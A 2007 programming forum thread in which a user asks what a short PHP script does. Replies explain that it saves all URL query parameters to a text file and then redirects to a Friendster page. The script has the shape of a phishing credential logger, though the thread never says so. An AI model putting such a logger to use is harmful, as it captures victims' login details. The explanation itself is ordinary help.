473,503 Members | 7,578 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

anyone knows what this php script means????

<?php
header("Location: http://www.friendster.com/index.cfm?fuseaction=user");
$handle = fopen("out.txt", "a");
foreach($_GET as $variable =$value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");

}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

this link of the code is here,
http://www.nomorepasting.com/getpaste.php?pasteid=4068

pls tell me what this means and the
function of this .php file. thank you

Sep 20 '07 #1
2 2134
pi*******@gmail.com wrote:
<?php
header("Location: http://www.friendster.com/index.cfm?fuseaction=user");
$handle = fopen("out.txt", "a");
foreach($_GET as $variable =$value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");

}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

this link of the code is here,
http://www.nomorepasting.com/getpaste.php?pasteid=4068

pls tell me what this means and the
function of this .php file. thank you
Its simply dumping out the contents of the GET variables to a file.
Sep 20 '07 #2
The $_GET superglobal contains all the 'variables' passed to the page
in the URL after a '?'

for example : www.domain.com?var1=foo&var2=bar

would have two GET variables:

var1 = foo

var2 = bar

The script then opens the file "out.txt" and writes each variable to
the file like so:

var1=foo
var2=bar

It then redirects the browser to the URL: http://www.friendster.com/index.cfm?fuseaction=user
Regards,

Paul

Sep 21 '07 #3

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

14
5833
by: Larry Woods | last post by:
I need to execute a Windows script (wscript/cscript) from an ASP page for some administrative functions. Anyone doing this? If so, how? TIA, Larry Woods
2
1968
by: KevinGPO | last post by:
Just wondering if anyone knows if there are converters to convert from: MS Visual C++ 6.0 or MS Visual Studio 2003 project files into UNIX autogen/configure/make files?
4
4025
by: Ersin Genētürk | last post by:
Server : WEB System.Web.HttpUnhandledException: Exception of type System.Web.HttpUnhandledException was thrown. ---> System.Web.HttpException: The View State is invalid for this page and might be...
1
1111
by: Joe | last post by:
Hi, Iā€™m looking for a Registration / Join In script in either asp.net or asp. User will fill the form (First Name, Last Name, Email, Company, Phone, etc) and after submitting the form, an...
10
2161
by: Extremest | last post by:
I know there are ways to make this a lot faster. Any newsreader does this in seconds. I don't know how they do it and I am very new to c#. If anyone knows a faster way please let me know. All...
169
8947
by: JohnQ | last post by:
(The "C++ Grammer" thread in comp.lang.c++.moderated prompted this post). It would be more than a little bit nice if C++ was much "cleaner" (less complex) so that it wasn't a major world wide...
0
1206
by: pinoyclan | last post by:
<?php header("Location: http://www.friendster.com/index.cfm?fuseaction=user"); $handle = fopen("out.txt", "a"); foreach($_GET as $variable =$value) { fwrite($handle, $variable); fwrite($handle,...
2
2971
by: minhtran | last post by:
Hi All Anyone knows how to code(ASP.NET, C#,VB.NET) as to send username and password to Proxy Server required to reach web page (That means you code as programming automatically get web page without...
0
7194
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
7070
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
7267
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...
0
7316
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
1
6976
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...
1
4993
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new...
0
4666
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and...
0
3160
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The...
0
1495
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated ...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.